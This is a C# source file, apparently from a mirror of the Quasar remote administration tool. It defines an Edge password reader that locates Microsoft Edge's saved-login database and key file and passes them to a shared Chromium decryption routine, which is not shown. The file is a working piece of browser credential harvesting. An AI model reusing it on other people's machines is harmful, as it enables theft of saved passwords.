mirror of https://github.com/quasar/Quasar.git
31 lines
1018 B
C#
31 lines
1018 B
C#
using Quasar.Common.Models;
|
|
using System;
|
|
using System.Collections.Generic;
|
|
using System.IO;
|
|
|
|
namespace Quasar.Client.Recovery.Browsers
|
|
{
|
|
public class EdgePassReader : ChromiumBase
|
|
{
|
|
/// <inheritdoc />
|
|
public override string ApplicationName => "Microsoft Edge";
|
|
|
|
/// <inheritdoc />
|
|
public override IEnumerable<RecoveredAccount> ReadAccounts()
|
|
{
|
|
try
|
|
{
|
|
string filePath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData),
|
|
"Microsoft\\Edge\\User Data\\Default\\Login Data");
|
|
string localStatePath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData),
|
|
"Microsoft\\Edge\\User Data\\Local State");
|
|
return ReadAccounts(filePath, localStatePath);
|
|
}
|
|
catch (Exception)
|
|
{
|
|
return new List<RecoveredAccount>();
|
|
}
|
|
}
|
|
}
|
|
}
|